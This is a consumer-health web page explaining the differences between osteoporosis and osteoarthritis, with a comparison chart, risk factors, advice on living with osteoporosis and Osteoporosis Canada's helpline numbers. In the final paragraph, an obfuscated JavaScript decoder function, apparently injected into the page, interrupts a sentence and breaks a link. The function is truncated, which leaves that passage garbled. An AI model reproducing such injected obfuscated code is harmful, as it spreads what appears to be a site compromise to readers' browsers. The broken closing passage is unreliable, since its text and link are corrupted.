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Do you know if you have osteoporosis or osteoarthritis?

Osteoarthritis and osteoporosis are different diseases but often there is confusion between these two diseases. This is especially true among older adults. Research by Burgener et al. suggests that although many older adults have heard of osteoporosis, many know very little about it. This is important as having a good understanding of osteoporosis helps to prevent and treat the disease. Below is a chart highlighting the differences between osteoporosis and osteoarthritis.

Question Osteoporosis
(bone+thin=thin bones)
Osteoarthritis
(bone+joint pain=joint damage)
What is it?
  • thin fragile bones that can break easily
  • bone mass loss can occur without any symptoms
  • often a fracture is the first symptom OP is present. Typical fracture locations are the wrist, spine and the hip
  • a frequent cause of height loss and acquired spine curve 'dowager's lump'
  • early detection is important to prevent OP
  • a loss of cartilage in the joint, extra bone formation and reduced joint movement
  • most common form of arthritis
  • typical symptoms are pain, loss of movement, and stiffness
  • common joints affected: hands, base of thumbs, tips and middle joints of the fingers, neck, back hips, knees, feet, first toes (bunion) or spine
  • does not affect other organs
Who gets it?
  • 1.4 million Canadians have OP
  • 1 in 4 women over the age of 50
  • 1 in 8 men over the age of 50
  • however, the disease can strike at any age
  • 2.9 million Canadians have OA
  • women more than men (2 out of 3 women)
  • hip and knee OA usually occurs after age 50
  • affects 30% of people over age 75 but is not simply apart of getting old
  • genetic factors and obesity
Who is at risk?
  • being female
  • fracture with minimal trauma after the age of 40
  • small and thin body frames
  • anyone with rheumatoid arthritis speeds up the rate of OP
  • family history of OP
  • some medications including heparin (blood thinner), anti-seizure drugs and long term use of corticosteroids (such as Prednisone)
  • links to persons with obesity, diabetes and cartilage disorders
  • occupational trauma over time
  • sports injuries
Things that increase your risk.
  • loss of menstrual cycle in young women
  • lack of vitamin D and calcium
  • chronic diseases like rheumatoid arthritis and Hepatitis C
  • excessive intake of alcohol and caffeine
  • poor nutrition
  • lack of exercise
  • being Caucasian or Asian
  • obesity increases risk of OA of the hand 3 times
  • a weight gain of 10kg (22 lb) almost doubles one's risk of OA of the knee

 

 

 

Below is a infographic on the Global Impact of Osteoporosis from Cigna.

osteoporosis infographic

Living well with osteoporosis in Canada

It is normal to feel anxious when first diagnosed with osteoporosis. Some patients are concerned they may break their bones again (or fracture a second time if a broken bone was part of the initial diagnosis). As a result, some may stop participating in social and physical activities. This can lead to feelings of loneliness, depression and helplessness. It is important to know that you are not alone. With the help of medications, your health care team, and lifestyle changes, and others living with osteoporosis, you can reduce your risk of fracture and, in some cases, improve bone mass.

Osteoporosis Canada provides helpful resources on how to manage osteoporosis. They also operate a toll-free information line (English: 1-800-463-6842/French: 1-800-977-1778). Information counsellors discuss your concerns, send appropriate information and, if there is one, refer you to a Chapter or support group near you. To learn more about living well with osteoporosis, please function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-you/living-well-with-osteoporosis/some-first-steps/">click here. To learn more about osteoarthritis, please click here.